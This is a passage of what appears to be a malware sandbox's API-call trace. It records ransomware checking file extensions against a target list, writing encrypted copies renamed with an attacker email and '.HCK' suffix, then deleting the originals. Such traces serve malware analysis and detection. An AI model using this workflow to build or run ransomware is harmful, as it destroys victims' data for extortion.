(lpString1=".docx", lpString2="s.dll") returned -1 [0148.635] lstrlenW (lpString=".pdf") returned 4 [0148.635] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString=".xls") returned 4 [0148.635] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString=".xlsx") returned 5 [0148.635] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.635] lstrlenW (lpString=".ppt") returned 4 [0148.635] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.635] lstrlenW (lpString=".zip") returned 4 [0148.635] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString=".rar") returned 4 [0148.635] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.635] lstrlenW (lpString=".bz2") returned 4 [0148.635] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.635] lstrlenW (lpString=".7z") returned 3 [0148.635] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.635] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.635] lstrlenW (lpString=".dbf") returned 4 [0148.636] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.636] lstrlenW (lpString=".1cd") returned 4 [0148.636] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.636] lstrlenW (lpString=".jpg") returned 4 [0148.636] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.636] lstrlenW (lpString=".doc") returned 4 [0148.636] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString=".docx") returned 5 [0148.636] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.636] lstrlenW (lpString=".pdf") returned 4 [0148.636] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString=".xls") returned 4 [0148.636] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString=".xlsx") returned 5 [0148.636] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.636] lstrlenW (lpString=".ppt") returned 4 [0148.636] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.636] lstrlenW (lpString=".zip") returned 4 [0148.636] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString=".rar") returned 4 [0148.636] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.636] lstrlenW (lpString=".bz2") returned 4 [0148.636] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.636] lstrlenW (lpString=".7z") returned 3 [0148.636] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.636] lstrlenW (lpString=".dbf") returned 4 [0148.636] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.636] lstrlenW (lpString=".1cd") returned 4 [0148.636] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.636] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0148.636] lstrlenW (lpString=".jpg") returned 4 [0148.636] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.636] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.636] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.636] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.637] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=17752) returned 1 [0148.637] CloseHandle (hObject=0x308) returned 1 [0148.637] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0148.637] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.637] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.637] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0148.638] GetLastError () returned 0x0 [0148.638] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4558, lpOverlapped=0x0) returned 1 [0148.640] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4560, lpOverlapped=0x0) returned 1 [0148.641] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.641] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.641] SetEndOfFile (hFile=0x30c) returned 1 [0148.641] CloseHandle (hObject=0x30c) returned 1 [0148.642] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.642] SetEndOfFile (hFile=0x308) returned 1 [0148.643] CloseHandle (hObject=0x308) returned 1 [0148.643] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.643] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0148.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.643] lstrlenW (lpString=".doc") returned 4 [0148.643] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.643] lstrlenW (lpString=".docx") returned 5 [0148.643] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.643] lstrlenW (lpString=".pdf") returned 4 [0148.644] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString=".xls") returned 4 [0148.644] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString=".xlsx") returned 5 [0148.644] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.644] lstrlenW (lpString=".ppt") returned 4 [0148.644] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.644] lstrlenW (lpString=".zip") returned 4 [0148.644] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString=".rar") returned 4 [0148.644] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString=".bz2") returned 4 [0148.644] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.644] lstrlenW (lpString=".7z") returned 3 [0148.644] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.644] lstrlenW (lpString=".dbf") returned 4 [0148.644] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.644] lstrlenW (lpString=".1cd") returned 4 [0148.644] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.644] lstrlenW (lpString=".jpg") returned 4 [0148.644] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.644] lstrlenW (lpString=".doc") returned 4 [0148.644] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString=".docx") returned 5 [0148.644] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.644] lstrlenW (lpString=".pdf") returned 4 [0148.644] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString=".xls") returned 4 [0148.644] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString=".xlsx") returned 5 [0148.644] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.644] lstrlenW (lpString=".ppt") returned 4 [0148.644] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.644] lstrlenW (lpString=".zip") returned 4 [0148.644] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString=".rar") returned 4 [0148.644] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.644] lstrlenW (lpString=".bz2") returned 4 [0148.644] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.645] lstrlenW (lpString=".7z") returned 3 [0148.645] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.645] lstrlenW (lpString=".dbf") returned 4 [0148.645] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.645] lstrlenW (lpString=".1cd") returned 4 [0148.645] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0148.645] lstrlenW (lpString=".jpg") returned 4 [0148.645] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.645] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.645] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.645] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=17752) returned 1 [0148.645] CloseHandle (hObject=0x308) returned 1 [0148.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0148.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0148.645] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.645] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.646] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0148.647] GetLastError () returned 0x0 [0148.647] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x4558, lpOverlapped=0x0) returned 1 [0149.019] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x4560, lpOverlapped=0x0) returned 1 [0149.027] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.027] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0149.027] SetEndOfFile (hFile=0x30c) returned 1 [0149.027] CloseHandle (hObject=0x30c) returned 1 [0149.028] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.028] SetEndOfFile (hFile=0x308) returned 1 [0149.029] CloseHandle (hObject=0x308) returned 1 [0149.029] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.029] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0149.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.030] lstrlenW (lpString=".doc") returned 4 [0149.030] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.030] lstrlenW (lpString=".docx") returned 5 [0149.030] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.030] lstrlenW (lpString=".pdf") returned 4 [0149.030] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.030] lstrlenW (lpString=".xls") returned 4 [0149.030] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.030] lstrlenW (lpString=".xlsx") returned 5 [0149.030] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.030] lstrlenW (lpString=".ppt") returned 4 [0149.030] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.030] lstrlenW (lpString=".zip") returned 4 [0149.030] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.030] lstrlenW (lpString=".rar") returned 4 [0149.030] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.030] lstrlenW (lpString=".bz2") returned 4 [0149.030] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.030] lstrlenW (lpString=".7z") returned 3 [0149.030] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.030] lstrlenW (lpString=".dbf") returned 4 [0149.030] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.030] lstrlenW (lpString=".1cd") returned 4 [0149.030] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.030] lstrlenW (lpString=".jpg") returned 4 [0149.030] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.030] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.030] lstrlenW (lpString=".doc") returned 4 [0149.030] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.031] lstrlenW (lpString=".docx") returned 5 [0149.031] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.031] lstrlenW (lpString=".pdf") returned 4 [0149.031] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.031] lstrlenW (lpString=".xls") returned 4 [0149.031] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.031] lstrlenW (lpString=".xlsx") returned 5 [0149.031] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.031] lstrlenW (lpString=".ppt") returned 4 [0149.031] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.031] lstrlenW (lpString=".zip") returned 4 [0149.031] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.031] lstrlenW (lpString=".rar") returned 4 [0149.031] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.031] lstrlenW (lpString=".bz2") returned 4 [0149.031] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.031] lstrlenW (lpString=".7z") returned 3 [0149.031] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.031] lstrlenW (lpString=".dbf") returned 4 [0149.031] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.031] lstrlenW (lpString=".1cd") returned 4 [0149.031] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0149.031] lstrlenW (lpString=".jpg") returned 4 [0149.031] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.031] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0149.031] lstrlenW (lpString="Rotate3.ico") returned 11 [0149.031] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.031] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=894) returned 1 [0149.031] CloseHandle (hObject=0x308) returned 1 [0149.031] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0149.032] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.032] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0149.032] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.032] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.032] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.032] GetLastError () returned 0x0 [0149.032] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x37e, lpOverlapped=0x0) returned 1 [0149.033] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x380, lpOverlapped=0x0) returned 1 [0149.035] ReadFile (in: hFile=0x308, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0149.035] WriteFile (in: hFile=0x30c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xea, lpOverlapped=0x0) returned 1 [0149.035] SetEndOfFile (hFile=0x30c) returned 1 [0149.035] CloseHandle (hObject=0x30c) returned 1 [0149.035] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0149.036] SetEndOfFile (hFile=0x308) returned 1 [0149.036] CloseHandle (hObject=0x308) returned 1 [0149.036] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.039] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0149.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.039] lstrlenW (lpString=".doc") returned 4 [0149.039] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.039] lstrlenW (lpString=".docx") returned 5 [0149.039] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0149.039] lstrlenW (lpString=".pdf") returned 4 [0149.039] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.039] lstrlenW (lpString=".xls") returned 4 [0149.039] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.039] lstrlenW (lpString=".xlsx") returned 5 [0149.039] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0149.039] lstrlenW (lpString=".ppt") returned 4 [0149.039] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.039] lstrlenW (lpString=".zip") returned 4 [0149.039] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.039] lstrlenW (lpString=".rar") returned 4 [0149.039] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.039] lstrlenW (lpString=".bz2") returned 4 [0149.039] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.039] lstrlenW (lpString=".7z") returned 3 [0149.039] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.039] lstrlenW (lpString=".dbf") returned 4 [0149.039] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.039] lstrlenW (lpString=".1cd") returned 4 [0149.039] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.039] lstrlenW (lpString=".jpg") returned 4 [0149.039] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.040] lstrlenW (lpString=".doc") returned 4 [0149.040] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.040] lstrlenW (lpString=".docx") returned 5 [0149.040] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0149.040] lstrlenW (lpString=".pdf") returned 4 [0149.040] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.040] lstrlenW (lpString=".xls") returned 4 [0149.040] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.040] lstrlenW (lpString=".xlsx") returned 5 [0149.040] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0149.040] lstrlenW (lpString=".ppt") returned 4 [0149.040] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0149.040] lstrlenW (lpString=".zip") returned 4 [0149.040] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 